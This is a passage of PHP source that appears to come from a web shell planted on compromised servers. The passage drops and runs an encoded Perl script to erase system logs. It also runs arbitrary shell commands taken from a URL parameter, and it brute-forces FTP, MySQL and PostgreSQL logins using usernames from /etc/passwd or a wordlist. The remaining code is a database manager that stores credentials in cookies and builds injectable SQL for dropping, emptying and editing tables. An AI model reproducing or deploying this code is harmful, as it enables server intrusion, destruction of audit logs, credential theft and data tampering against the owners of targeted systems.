3919 $erase = gzinflate(base64_decode("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"));
3920 if(is_writable("."))
3921 {
3922 if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
3923 {
3924 fwrite($openp, $erase);
3925 fclose($openp);
3926 passthru("perl logseraser.pl linux");
3927 unlink("logseraser.pl");
3928 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3929 }
3930 } else
3931 {
3932 if($openp = fopen("/tmp/logseraser.pl", 'w'))
3933 {
3934 fwrite($openp, $erase)or die("Error");
3935 fclose($openp);
3936 $aidx = passthru("perl logseraser.pl linux");
3937 unlink("logseraser.pl");
3938 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3939 }
3940 }
3941 }
3942 else
3943 {
3944 $check = shell_exec($_GET['mycmd']);
3945 echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3946 }
3947}
3948else if(isset($_GET['prototype']))
3949{
3950 echo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
3951 if( $_GET['prototype'] == 'ftp' )
3952 {
3953 function BruteFun($ip,$port,$login,$pass)
3954 {
3955 $fp = @ftp_connect($ip, $port?$port:21);
3956 if(!$fp) return false;
3957 $res = @ftp_login($fp, $login, $pass);
3958 @ftp_close($fp);
3959 return $res;
3960 }
3961 }
3962 elseif( $_GET['prototype'] == 'mysql' )
3963 {
3964 function BruteFun($ip,$port,$login,$pass)
3965 {
3966 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
3967 @mysql_close($res);
3968 return $res;
3969 }
3970 }
3971 elseif( $_GET['prototype'] == 'pgsql' )
3972 {
3973 function BruteFun($ip,$port,$login,$pass)
3974 {
3975 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
3976 $res = @pg_connect($str);
3977 @pg_close($res);
3978 return $res;
3979 }
3980 }
3981
3982 $success = 0;
3983 $attempts = 0;
3984 $server = explode(":", $_GET['server']);
3985 if($_GET['type'] == 1)
3986 {
3987 $temp = @file('/etc/passwd');
3988 if( is_array($temp))
3989 foreach($temp as $line)
3990 {
3991 $line = explode(":", $line);
3992 ++$attempts;
3993 if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
3994 {
3995 $success++;
3996 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
3997 }
3998 if(@$_GET['reverse'])
3999 {
4000 $tmp = "";
4001 for($i=strlen($line[0])-1; $i>=0; --$i)
4002 $tmp .= $line[0][$i];
4003 ++$attempts;
4004 if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
4005 {
4006 $success++;
4007 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
4008 }
4009 }
4010 }
4011 }
4012 elseif($_GET['type'] == 2)
4013 {
4014 $temp = @file($_GET['dict']);
4015 if( is_array($temp) )
4016 foreach($temp as $line)
4017 {
4018 $line = trim($line);
4019 ++$attempts;
4020 if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
4021 {
4022 $success++;
4023 echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
4024 }
4025 }
4026 }
4027 echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
4028}
4029// Execute Query
4030else if(isset($_GET["executeit"]))
4031{
4032 if(isset($_GET['username']) && isset($_GET['server']))
4033 {
4034 $dbserver = $_GET['server'];
4035 $dbuser = $_GET['username'];
4036 $dbpass = $_GET['password'];
4037 if(mysql_connect($dbserver,$dbuser,$dbpass))
4038 {
4039 setcookie("dbserver", $dbserver);
4040 setcookie("dbuser", $dbuser);
4041 setcookie("dbpass", $dbpass);
4042
4043 listdatabase();
4044 }
4045 else
4046 echo "cannotconnect";
4047 }
4048}
4049else if(isset($_GET['action']) && isset($_GET['dbname']))
4050
4051
4052 {
4053 if($_GET['action'] == "createDB")
4054 {
4055 $dbname = $_GET['dbname'];
4056 $dbserver = $_COOKIE["dbserver"];
4057 $dbuser = $_COOKIE["dbuser"];
4058 $dbpass = $_COOKIE["dbpass"];
4059 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4060 mysql_query("create database $dbname",$mysqlHandle);
4061 listdatabase();
4062 }
4063 if($_GET['action'] == 'dropDB')
4064 {
4065 $dbname = $_GET['dbname'];
4066 $dbserver = $_COOKIE["dbserver"];
4067 $dbuser = $_COOKIE["dbuser"];
4068 $dbpass = $_COOKIE["dbpass"];
4069 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4070 mysql_query("drop database $dbname",$mysqlHandle);
4071 mysql_close($mysqlHandle);
4072 listdatabase();
4073 }
4074
4075 if($_GET['action'] == 'listTables')
4076 {
4077 listtable();
4078 }
4079
4080 // Create Tables
4081 if($_GET['action'] == "createtable")
4082 {
4083 $dbserver = $_COOKIE["dbserver"];
4084 $dbuser = $_COOKIE["dbuser"];
4085 $dbpass = $_COOKIE["dbpass"];
4086 $dbname = $_GET['dbname'];
4087 $tablename = $_GET['tablename'];
4088 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4089 mysql_select_db($dbname);
4090 mysql_query("CREATE TABLE $tablename ( no INT )");
4091 listtable();
4092 }
4093
4094 // Drop Tables
4095 if($_GET['action'] == "dropTable")
4096 {
4097 $dbserver = $_COOKIE["dbserver"];
4098 $dbuser = $_COOKIE["dbuser"];
4099 $dbpass = $_COOKIE["dbpass"];
4100 $dbname = $_GET['dbname'];
4101 $tablename = $_GET['tablename'];
4102 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4103 mysql_select_db($dbname);
4104 mysql_query("drop table $tablename");
4105 listtable();
4106 }
4107
4108 // Empty Tables
4109 if($_GET['action'] == "empty")
4110 {
4111 $dbserver = $_COOKIE["dbserver"];
4112 $dbuser = $_COOKIE["dbuser"];
4113 $dbpass = $_COOKIE["dbpass"];
4114 $dbname = $_GET['dbname'];
4115 $tablename = $_GET['tablename'];
4116 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4117 mysql_select_db($dbname);
4118 mysql_query("delete from $tablename");
4119 listtable();
4120 }
4121
4122 // Empty Tables
4123 if($_GET['action'] == "dropField")
4124 {
4125 $dbserver = $_COOKIE["dbserver"];
4126 $dbuser = $_COOKIE["dbuser"];
4127 $dbpass = $_COOKIE["dbpass"];
4128 $dbname = $_GET['dbname'];
4129 $tablename = $_GET['tablename'];
4130 $fieldname = $_GET['fieldname'];
4131 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4132 mysql_select_db($dbname);
4133 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
4134 mysql_select_db( $dbname, $mysqlHandle );
4135 mysql_query( $queryStr , $mysqlHandle );
4136 listtable();
4137 }
4138
4139 if($_GET['action'] == 'viewdb')
4140 {
4141 listdatabase();
4142 }
4143
4144 // View Table Schema
4145 if($_GET['action'] == "viewSchema")
4146 {
4147 $dbserver = $_COOKIE["dbserver"];
4148 $dbuser = $_COOKIE["dbuser"];
4149 $dbpass = $_COOKIE["dbpass"];
4150 $dbname = $_GET['dbname'];
4151 $tablename = $_GET['tablename'];
4152 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4153 mysql_select_db($dbname);
4154 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4155 $pResult = mysql_query( "SHOW fields FROM $tablename" );
4156 $num = mysql_num_rows( $pResult );
4157 echo "<br><br><table align=center cellspacing=4 style='width:80%;' border=1>";
4158 echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
4159 for( $i = 0; $i < $num; $i++ )
4160 {
4161 $field = mysql_fetch_array( $pResult );
4162 echo "<tr>\n";
4163 echo "<td>".$field["Field"]."</td>\n";
4164 echo "<td>".$field["Type"]."</td>\n";
4165 echo "<td>".$field["Null"]."</td>\n";
4166 echo "<td>".$field["Key"]."</td>\n";
4167 echo "<td>".$field["Default"]."</td>\n";
4168 echo "<td>".$field["Extra"]."</td>\n";
4169 $fieldname = $field["Field"];
4170 echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>\n";
4171 echo "</tr>\n";
4172 }
4173 echo "</table>";
4174 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4175 }
4176
4177 // Execute Query
4178 if($_GET['action'] == "executequery")
4179 {
4180 $dbserver = $_COOKIE["dbserver"];
4181 $dbuser = $_COOKIE["dbuser"];
4182 $dbpass = $_COOKIE["dbpass"];
4183 $dbname = $_GET['dbname'];
4184 $tablename = $_GET['tablename'];
4185 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4186 mysql_select_db($dbname);
4187 $result = mysql_query($_GET['executemyquery']);
4188
4189 // results
4190 echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
4191
4192 $count = 0;
4193 while ($row = mysql_fetch_assoc($result))
4194 {
4195 echo "<tr>\r\n";
4196
4197 if ($count==0) // list column names
4198 {
4199 echo "<tr>\r\n";
4200 while($key = key($row))
4201 {
4202 echo "<td><b>" . $key . "</b></td>\r\n";
4203 next($row);
4204 }
4205 echo "</tr>\r\n";
4206 }
4207
4208 foreach($row as $r) // list content of column names
4209 {
4210 if ($r=='') $r = '<font >NULL</font>';
4211 echo "<td><font class=txt>" . $r . "</font></td>\r\n";
4212 }
4213 echo "</tr>\r\n";
4214 $count++;
4215 }
4216 echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
4217 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4218 }
4219
4220 // View Table Data
4221 if($_GET['action'] == "viewdata")
4222 {
4223 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4224 $dbserver = $_COOKIE["dbserver"];
4225 $dbuser = $_COOKIE["dbuser"];
4226 $dbpass = $_COOKIE["dbpass"];
4227 $dbname = $_GET['dbname'];
4228 $tablename = $_GET['tablename'];
4229 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4230 ?>
4231 <br><br>
4232 <form>
4233 <table>
4234 <tr>
4235 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
4236 </tr>
4237 <tr>
4238 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
4239 </tr>
4240 </table>
4241 </form>
4242 <?php
4243 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4244 mysql_select_db($dbname);
4245
4246 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4247 $row = mysql_fetch_array($sql);
4248 $rowid = $row['COLUMN_NAME'];
4249
4250 echo "<br><font size=4 color =lime>Data in Table</font><br>";
4251 if( $tablename != "" )
4252 echo "<font size=3 class=txt>$dbname > $tablename</font><br>";
4253 else
4254 echo "<font size=3 class=txt>$dbname</font><br>";
4255
4256 $queryStr = "";
4257 $pag = 0;
4258 $queryStr = stripslashes( $queryStr );
4259 if( $queryStr == "" )
4260 {
4261 if(isset($_REQUEST['page']))
4262 {
4263 $res = mysql_query("select * from $tablename");
4264 $getres = mysql_num_rows($res);
4265 $coun = ceil($getres/30);
4266 if($_REQUEST['page'] != 1)
4267
4268 $pag = $_REQUEST['page'] * 30;
4269 else
4270 $pag = $_REQUEST['page'] * 30;
4271
4272 $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
4273 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
4274 $arrcount = 1;
4275 $arrdata[$arrcount] = 0;
4276 while($row = mysql_fetch_array($sql))
4277 {
4278 $arrdata[$arrcount] = $row[$rowid];
4279 $arrcount++;
4280 }
4281 }
4282 else
4283 {
4284 $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
4285 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
4286 $arrcount = 1;
4287 $arrdata[$arrcount] = 0;
4288 while($row = mysql_fetch_array($sql))
4289 {
4290 $arrdata[$arrcount] = $row[$rowid];
4291 $arrcount++;
4292 }
4293 }
4294 if( $orderby != "" )
4295 $queryStr .= " ORDER BY $orderby";
4296 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>\n";
4297 }
4298
4299
4300 $pResult = mysql_query($queryStr );
4301 $fieldt = mysql_fetch_field($pResult);
4302 $tablename = $fieldt->table;
4303 $errMsg = mysql_error();
4304
4305 $GLOBALS[queryStr] = $queryStr;
4306
4307 if( $pResult == false )
4308 {
4309 echoQueryResult();
4310 return;
4311 }
4312 if( $pResult == 1 )
4313 {
4314 $errMsg = "Success";
4315 echoQueryResult();
4316 return;
4317 }
4318
4319 echo "<hr color='#1B1B1B'>\n";
4320
4321 $row = mysql_num_rows( $pResult );
4322 $col = mysql_num_fields( $pResult );
4323
4324 if( $row == 0 )
4325 {
4326 echo "<font size=3>No Data Exist!</font>";
4327 return;
4328 }
4329
4330 if( $rowperpage == "" ) $rowperpage = 30;
4331 if( $page == "" ) $page = 0;
4332 else $page--;
4333 mysql_data_seek( $pResult, $page * $rowperpage );
4334
4335 echo "<table cellspacing=1 cellpadding=5 border=1 align=center>\n";
4336 echo "<tr>\n";
4337 for( $i = 0; $i < $col; $i++ )
4338 {
4339 $field = mysql_fetch_field( $pResult, $i );
4340 echo "<th>";
4341 if($action == "viewdata")
4342 echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
4343 else
4344 echo $field->name."\n";
4345 echo "</th>\n";
4346 }
4347 echo "<th colspan=2>Action</th>\n";
4348 echo "</tr>\n";
4349 $num=1;
4350
4351
4352 $acount = 1;
4353
4354 for( $i = 0; $i < $rowperpage; $i++ )
4355 {
4356 $rowArray = mysql_fetch_row( $pResult );
4357 if( $rowArray == false ) break;
4358 echo "<tr>\n";
4359 $key = "";
4360 for( $j = 0; $j < $col; $j++ )
4361 {
4362 $data = $rowArray[$j];
4363
4364 $field = mysql_fetch_field( $pResult, $j );
4365 if( $field->primary_key == 1 )
4366 $key .= "&" . $field->name . "=" . $data;
4367
4368 if( strlen( $data ) > 30 )
4369 $data = substr( $data, 0, 30 ) . "...";
4370 $data = htmlspecialchars( $data );
4371 echo "<td>\n";
4372 echo "<font class=txt>$data</font>\n";
4373 echo "</td>\n";
4374 }
4375
4376 if(!is_numeric($arrdata[$acount]))
4377 echo "<td colspan=2>No Key</td>\n";
4378 else
4379 {
4380 echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>\n";
4381 echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>\n";
4382 $acount++;
4383 }
4384 }
4385 echo "</tr>\n";
4386
4387
4388 echo "</table>";
4389 if($arrcount > 30)
4390 {
4391 $res = mysql_query("select * from $tablename");
4392 $getres = mysql_num_rows($res);
4393 $coun = ceil($getres/30);
4394 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
4395 for($i=0;$i<$coun;$i++)
4396 echo "<option value=$i>$i</option>";
4397
4398 echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
4399 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4400 }
4401 }
4402
4403 // Delete Table Data
4404 if($_GET['action'] == "deleteData")
4405 {
4406 $dbserver = $_COOKIE["dbserver"];
4407 $dbuser = $_COOKIE["dbuser"];
4408 $dbpass = $_COOKIE["dbpass"];
4409 $dbname = $_GET['dbname'];
4410 $tablename = $_GET['tablename'];
4411 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4412 mysql_select_db($dbname);
4413 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4414 $row = mysql_fetch_array($sql);
4415 $row = $row['COLUMN_NAME'];
4416 $rowid = $_GET[$row];
4417 mysql_query("delete from $tablename where $row = '$rowid'");
4418 listtable();
4419 }
4420 // Edit Table Data
4421 if($_GET['action'] == "editData")
4422 {
4423 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4424 $dbserver = $_COOKIE["dbserver"];
4425 $dbuser = $_COOKIE["dbuser"];
4426 $dbpass = $_COOKIE["dbpass"];
4427 $dbname = $_GET['dbname'];
4428 $tablename = $_GET['tablename'];
4429 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4430 ?>
4431 <br><br>
4432 <form action="<?php echo $self; ?>" method="post">
4433 <?php
4434 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4435 mysql_select_db($dbname);
4436
4437 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4438 $row = mysql_fetch_array($sql);
4439 $row = $row['COLUMN_NAME'];
4440 $rowid = $_GET[$row];
4441
4442 $pResult = mysql_list_fields( $dbname, $tablename );
4443 $num = mysql_num_fields( $pResult );
4444
4445 $key = "";
4446 for( $i = 0; $i < $num; $i++ )
4447 {
4448 $field = mysql_fetch_field( $pResult, $i );
4449 if( $field->primary_key == 1 )
4450 if( $field->numeric == 1 )
4451 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
4452 else
4453 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
4454 }
4455 $key = substr( $key, 0, strlen($key)-4 );
4456
4457 mysql_select_db( $dbname, $mysqlHandle );
4458 $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
4459 $data = mysql_fetch_array( $pResult );
4460
4461 echo "<table cellspacing=1 cellpadding=2 border=1>\n";
4462 echo "<tr>\n";
4463 echo "<th>Name</th>\n";
4464 echo "<th>Type</th>\n";
4465 echo "<th>Function</th>\n";
4466 echo "<th>Data</th>\n";
4467 echo "</tr>\n";
4468
4469 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4470 $num = mysql_num_rows( $pResult );
4471
4472 $pResultLen = mysql_list_fields( $dbname, $tablename );
4473 $fundata1 = "'action','editsubmitData','dbname','".$dbname."','tablename','".$tablename."',";
4474 $fundata2 = "'action','insertdata','dbname','".$dbname."','tablename','".$tablename."',";
4475 for( $i = 0; $i < $num; $i++ )
4476 {
4477 $field = mysql_fetch_array( $pResult );
4478 $fieldname = $field["Field"];
4479 $fieldtype = $field["Type"];
4480 $len = mysql_field_len( $pResultLen, $i );
4481
4482 echo "<tr>";
4483 echo "<td>$fieldname</td>";
4484 echo "<td>".$field["Type"]."</td>";
4485 echo "<td>\n";
4486 echo "<select name=${fieldname}_function class=sbox>\n";
4487 echo "<option>\n";
4488 echo "<option>ASCII\n";
4489 echo "<option>CHAR\n";
4490 echo "<option>SOUNDEX\n";
4491 echo "<option>CURDATE\n";
4492 echo "<option>CURTIME\n";
4493 echo "<option>FROM_DAYS\n";
4494 echo "<option>FROM_UNIXTIME\n";
4495 echo "<option>NOW\n";
4496 echo "<option>PASSWORD\n";
4497 echo "<option>PERIOD_ADD\n";
4498 echo "<option>PERIOD_DIFF\n";
4499 echo "<option>TO_DAYS\n";
4500 echo "<option>USER\n";
4501 echo "<option>WEEKDAY\n";
4502 echo "<option>RAND\n";
4503 echo "</select>\n";
4504 echo "</td>\n";
4505 $value = htmlspecialchars($data[$i]);
4506 $type = strtok( $fieldtype, " (,)\n" );
4507 if( $type == "enum" || $type == "set" )
4508 {
4509 echo "<td>\n";
4510 if( $type == "enum" )
4511 echo "<select name=$fieldname class=box>\n";
4512 else if( $type == "set" )
4513 echo "<select name=$fieldname size=4 class=box multiple>\n";
4514 while( $str = strtok( "'" ) )
4515 {
4516 if( $value == $str )
4517 echo "<option selected>$str\n";
4518 else
4519 echo "<option>$str\n";
4520 strtok( "'" );
4521 }
4522 echo "</select>\n";
4523 echo "</td>\n";
4524 }
4525 else
4526 {
4527 if( $len < 40 )
4528 echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>\n";
4529 else
4530 echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>\n";
4531 }
4532 $fundata1 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4533 $fundata2 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4534 echo "</tr>";
4535 }
4536 $fundata1=eregi_replace(',$', '', $fundata1);
4537 $fundata2=eregi_replace(',$', '', $fundata2);
4538
4539 echo "</table><p>\n";
4540 echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>\n";
4541 echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>\n";
4542 echo "</form>\n";
4543 }
4544 }
4545// Edit Submit Table Data
4546else if($_REQUEST['action'] == "editsubmitData")
4547{
4548 $dbserver = $_COOKIE["dbserver"];
4549 $dbuser = $_COOKIE["dbuser"];
4550 $dbpass = $_COOKIE["dbpass"];
4551 $dbname = $_POST['dbname'];
4552 $tablename = $_POST['tablename'];
4553
4554 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4555 mysql_select_db($dbname);
4556
4557 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4558 $row = mysql_fetch_array($sql);
4559 $row = $row['COLUMN_NAME'];
4560 $rowid = $_POST[$row];
4561
4562 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4563 $num = mysql_num_rows( $pResult );
4564
4565 $rowcount = $num;
4566
4567 $pResultLen = mysql_list_fields( $dbname, $tablename );
4568
4569 for( $i = 0; $i < $num; $i++ )
4570 {
4571 $field = mysql_fetch_array( $pResult );
4572 $fieldname = $field["Field"];
4573 $arrdata = $_REQUEST[$fieldname];
4574
4575 $str .= " " . $fieldname . " = '" . $arrdata . "'";
4576 $rowcount--;
4577 if($rowcount != 0)
4578 $str .= ",";
4579 }
4580
4581 $str = "update $tablename set" . $str . " where $row=$rowid";
4582 mysql_query($str);
4583 ?><div id="showsql"></div><?php
4584}
4585// Insert Table Data
4586else if($_REQUEST['action'] == "insertdata")
4587{
4588 $dbserver = $_COOKIE["dbserver"];
4589 $dbuser = $_COOKIE["dbuser"];
4590 $dbpass = $_COOKIE["dbpass"];
4591 $dbname = $_POST['dbname'];
4592 $tablename = $_POST['tablename'];
4593
4594 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4595 mysql_select_db($dbname);
4596
4597 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4598 $row = mysql_fetch_array($sql);
4599 $row = $row['COLUMN_NAME'];
4600 $rowid = $_POST[$row];
4601
